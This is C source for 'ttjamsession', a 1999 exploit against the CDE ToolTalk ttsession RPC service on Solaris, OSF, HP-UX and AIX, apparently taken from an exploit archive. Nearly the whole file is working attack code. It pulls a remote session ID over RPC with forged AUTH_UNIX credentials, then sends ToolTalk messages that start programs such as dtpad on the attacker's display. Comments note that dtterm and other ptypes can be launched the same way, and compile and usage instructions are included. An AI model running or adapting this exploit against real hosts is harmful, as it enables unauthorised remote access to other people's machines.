/* * ttjamsession.c * Job de Haas * (c) ITSX bv 1999 * * Solaris 7, 2.6, 2.5.1 * OSF v4.0 * HP-UX B.10.20 * AIX 2 4 000096754200 * * This is a simple ttsession exploit to show some problems with * authentication of a remote user. The possibilities after authentication * are not limited to starting dtpad, but rather any ptype as can be shown * with tt_type_comp. On Solaris this includes dtterm. * * compile with: * cc -L/usr/dt/lib -I/usr/dt/include -I/usr/openwin/include -ltt -lnsl * ttjamsession.c -o ttjamsession * */ #include #include #include #include #include #include #include #include #include #define TTSESSION_PROG 1342177279 #define TTSESSION_PROG_SOL7 1289637086 #define TTSESSION_VERS 3 #define TTSESSION_GETSESSID 400 long rpcprog = TTSESSION_PROG; int version = TTSESSION_VERS; long uid = -1; int use_env = 0; int test = 0; /* * For some reason the string is not returned with xdr_wrapstring. After * some fiddling this seems to work. * */ xdr_mystring(xdrs, objp) register XDR *xdrs; char **objp; { int len; if (!xdr_int(xdrs, &len)) { return 0; } *objp = (char *)malloc(len + 1); if (xdr_opaque(xdrs, (caddr_t)*objp, len)) { (*objp)[len] = '\0'; } else { return 0; } return(1); } /* * This is some generated code by ttsnoop (nice program! at least on sol 2.6) * It was modified a bit to get it to spawn the program on the correct display */ Tt_callback_action process_Instantiate_reply( Tt_message msg, Tt_message pat ); Tt_message create_Instantiate( Tt_message context, char *action ) { Tt_message msg; msg = tttk_message_create( context, TT_REQUEST, TT_SESSION, 0, action, (Tt_message_callback)process_Instantiate_reply ); tt_message_arg_add( msg, TT_IN, "data", "data"); tt_message_context_set( msg, "$DISPLAY", getenv("DISPLAY")); tt_message_disposition_set( msg, TT_START); tt_message_handler_ptype_set( msg, "DTPAD"); return msg; } static Tt_callback_action process_Instantiate_reply( Tt_message msg, Tt_message pat ) { switch (tt_message_state(msg)) { case TT_SENT: /* handler is in this process */ case TT_STARTED:/* intermediate state */ case TT_QUEUED: /* intermediate state */ default: /* unknown state */ return TT_CALLBACK_CONTINUE; case TT_HANDLED: /* ... */ break; case TT_FAILED: { int status; char *string; status = tt_message_status( msg ); string = tt_message_status_string( msg ); printf("message failed with: %s\n",string); /* ... */ } break; } tt_message_destroy( msg ); return TT_CALLBACK_PROCESSED; } /* * The routine to get the remote sessionid string. * */ int get_sessionid( remotehost, port) char *remotehost; ushort port; { struct sockaddr_in server_addr; enum clnt_stat clnt_stat; struct hostent *hp; struct timeval timeout; CLIENT *clnt; int msock; char *buf; char *env; char *hostname; char localhost[MAXHOSTNAMELEN]; memset((char *)&server_addr, 0, sizeof (server_addr)); if (remotehost) { server_addr.sin_family = AF_INET; server_addr.sin_addr.s_addr = inet_addr(remotehost); if ( server_addr.sin_addr.s_addr == -1 ) { if ((hp = gethostbyname(remotehost)) == NULL) { printf("Can't resolve %s\n",remotehost); exit(1); } memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length); hostname = strdup( remotehost ); } } else { if (gethostname(localhost, MAXHOSTNAMELEN)<0) { perror("gethostname"); exit(1); } if (hp = gethostbyname(localhost)) { memcpy((char *)&server_addr.sin_addr, hp->h_addr, hp->h_length); hostname = strdup( localhost ); } else { server_addr.sin_addr.s_addr = inet_addr("127.0.0.1"); hostname = strdup( "127.0.0.1" ); } } server_addr.sin_family = AF_INET; server_addr.sin_port = htons(port); msock = RPC_ANYSOCK; timeout.tv_sec = 15; timeout.tv_usec = 0; if ( (clnt = (CLIENT *)clnttcp_create(&server_addr, rpcprog, TTSESSION_VERS, &msock, 10000, 10000)) == NULL) { clnt_pcreateerror("clnttcp_create"); exit(1); } /* * apparently credentials are not checked! */ clnt->cl_auth = authunix_create(hostname, 0, 0, 0, NULL); if ((clnt_stat = clnt_call(clnt, TTSESSION_GETSESSID, (xdrproc_t) xdr_void, (caddr_t) 0, (xdrproc_t) xdr_mystring, (caddr_t) &buf, timeout)) != RPC_SUCCESS) { clnt_perror(clnt, "get session"); return(-1); } /* * put TT_SESSION in the environment for tt_open to use. */ env = malloc( strlen("TT_SESSION=") + strlen( buf+2 ) +1); strcpy(env,"TT_SESSION="); strcat(env,buf+2); putenv( env ); printf("Session ID: %s\n", buf); return(0); } usage(progname) char *progname; { fprintf(stderr, "Usage: %s [-p port] [-r rpc prognumber] [-u uid]\n", progname); fprintf(stderr," [-7] [-t] [-e] hostname\n"); fprintf(stderr,"[-7] use Solaris 7 default ttsession program number\n"); fprintf(stderr,"[-t] test the RPC call but not send messages\n"); fprintf(stderr,"[-e] get TT_SESSION from environment (no RPC call)\n"); exit(-1); } int main(argc, argv) int argc; char **argv; { char *hostname = NULL; struct in_addr addr; extern int optind; extern char *optarg; short port = 0; char c, *cp; Tt_message context, msg; char *procid; while ((c = getopt(argc, argv, "u:p:r:7et")) != EOF) { switch (c) { case 'r': rpcprog = atoi(optarg); break; case 'p': port = atoi(optarg); break; case 'u': uid = atoi(optarg); break; case '7': rpcprog = TTSESSION_PROG_SOL7; break; case 'e': use_env = 1; break; case 't': test = 1; break; default: usage(argv[0]); } } if (optind < argc) { hostname = strdup(argv[optind++]); } if (optind < argc) { port = atoi(argv[optind++]); } if (optind < argc) { usage(argv[0]); } /* setup the socket and test correct service */ if ( !use_env && (get_sessionid( hostname, port ) < 0 )) { printf("Failed to properly connect to ttsession\n"); exit(1); } if (test) exit(0); /* * Open up the channel to ttsession. The code uses the TT_SESSION * environment var to figure out how. */ if (((procid = tt_open()) == NULL) || (*procid == '\0')) { perror("tt_open"); exit(1); } /* * Now we can send messages... like instantiate a dtpad! * Two messages are sent to cause a new dtpad -server to be started * so that the dtpad will be displayed on our server even if the local * user is also using dtpad. I use sleep cause I can't seem to trigger * the callback. * */ msg = create_Instantiate(context, NULL); tt_message_send(msg); sleep(10); msg = create_Instantiate(context, "Instantiate"); tt_message_send(msg); sleep(10); /* no idea if I got to wait for the callback */ exit(0); } /* www.hack.co.za [2000]*/